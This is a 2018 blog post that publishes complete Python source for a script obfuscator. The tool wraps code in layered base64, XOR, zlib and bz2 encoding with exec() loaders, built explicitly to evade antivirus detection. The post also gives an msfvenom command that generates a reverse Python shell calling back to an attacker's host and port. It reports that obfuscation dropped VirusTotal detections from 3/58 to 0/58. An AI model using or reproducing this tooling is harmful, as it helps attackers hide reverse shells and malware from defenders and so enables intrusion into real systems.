Friday, April 6, 2018

Python Script Obfuscater

Recently, I can across some malware that was obfuscated multiple times to avoid AV detection.  I decided to create a simple python script obfuscater for the heck of it.

What the python script will do is it will create a recipe of what you would like to obfuscate another python script with.  Then apply the recipe that is selected and provide an outFile.py as the output.




#!/usr/bin/python

import base64
import zlib
import bz2

def applyb64(i):
 print "base64 Encoding the Information"
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import base64;exec(base64.b64decode("'
 encodedInfo = base64.b64encode(i)
 footerInfo = '"))'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo

def applyZLIB(i):
 print "zlib Compress the Information"
 compressionLevel = raw_input("Select compression level (1-9): ")
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import zlib, base64;z=base64.b64decode("'
 encodedInfo = base64.b64encode(zlib.compress(i, int(compressionLevel)))
 footerInfo = '");y=zlib.decompress(z);exec(y)'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo

def applyBZ2(i):
 print "bz2 Compress the Information"
 compressionLevel = raw_input("Select compression level (1-9): ")
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import bz2, base64;w=base64.b64decode("'
 encodedInfo = base64.b64encode(bz2.compress(i, int(compressionLevel)))
 footerInfo = '");r=bz2.decompress(w);exec(r)'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo

def applyXOR(i):
 print "XOR Information"
 hexValue = raw_input("XOR INT Value: ")
 headerInfo = '#!/usr/bin/python\n'
 headerInfo += 'import base64;j=bytearray(base64.b64decode("'
 bArray = bytearray(i)
 for b in range(len(bArray)):
  bArray[b] ^= int(hexValue)
 encodedInfo = base64.b64encode(bArray)
 footerInfo = '"));\n'
 footerInfo += 'for c in range(len(j)): j[c] ^= ' + hexValue + '\n'
 footerInfo += 'exec(str(j))'
 outputInfo = headerInfo + encodedInfo + footerInfo
 return outputInfo


def executeRecipe(r):
 outputPython = "outFile.py"
 print 
 filename = raw_input("Filename to apply recipe: ")
 print
 info = ''
 f = open(filename, "r")
 for line in f:
  if '#!/usr/bin/python' not in line:
   info += line
 f.close()
 for recipe in r:
  if recipe == "b64":
   outputRecipe = applyb64(info)
   info = outputRecipe
  elif recipe == "XOR":
   outputRecipe = applyXOR(info)
   info = outputRecipe
  elif recipe == "zlib":
   outputRecipe = applyZLIB(info)
   info = outputRecipe
  elif recipe == "bz2":
   outputRecipe = applyBZ2(info)
   info = outputRecipe
 f = open(outputPython, "w")
 f.write(outputRecipe)
 f.close()
 



def main():
 recipes = []
 selection = 'a'
 print
 print "Build a Encoded/Compressed File from a Recipe you Build"
 while selection <> 'q' and selection <> 'Q':
  print "Select which task to fulfill:"
  print "1. Base64 Encode"
  print "2. XOR"
  print "3. zlib Compress"
  print "4. bz2 Compress"
  print
  print "D. Display Recipe"
  print "E. Execute Recipe"
  print "Q. Quit"
  selection = raw_input("> ")
  if selection == '1':
   print
   print "base64"
   recipes.append("b64")
   print
  elif selection == '2':
   print
   print "XOR"
   recipes.append("XOR")
   print
  elif selection == '3':
   print
   print "zlib"
   recipes.append("zlib")
   print
  elif selection == '4':
   print
   print "bz2"
   recipes.append("bz2")
   print
  elif selection == "D" or selection == "d":
   print
   print "Recipe:"
   for recipe in recipes:
    print recipe
   print
  elif selection == "E" or selection == "e":
   print
   print "Executing the Recipe"
   executeRecipe(recipes)
   print
   recipes = []


if __name__ == "__main__":
 main()
  


I tested with a meterpreter payload in a python script.  Generated from the following command:

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address>  
LPORT=<Your Port to Connect On> -f raw > shell.py

Initially virustotal caught 3/58 AV's detected it.  Then with running it through a recipe, it came back with 0/58 AV's detecting it.

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